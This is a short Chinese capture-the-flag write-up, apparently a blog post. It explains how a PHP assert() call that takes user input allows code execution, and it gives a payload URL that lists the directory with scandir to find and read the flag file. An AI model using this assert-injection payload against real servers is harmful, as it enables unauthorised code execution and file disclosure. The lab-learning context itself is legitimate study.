发现到后面的题目越来越能学到新的东西,因此需要详细的记录下解题过程。
首先打开题目的时候
发现里面的代码说明可以assert从而随意执行代码,而我们需要知道该目录下存在哪些文件。
php中读取目录下文件的方法:
最简单的是print_r(scandir($dir))
还可以利用print_r(glob("*.*"))
(参考 https://blog.csdn.net/zhangxiaomaphp/article/details/42105729)
因此我们构造payload:http://120.24.86.145:8010/?s=print_r(scandir('./'))
里面有f14g.txt,则直接获取里面的内容http://120.24.86.145:8010/f14g.txt 得到flag












网友评论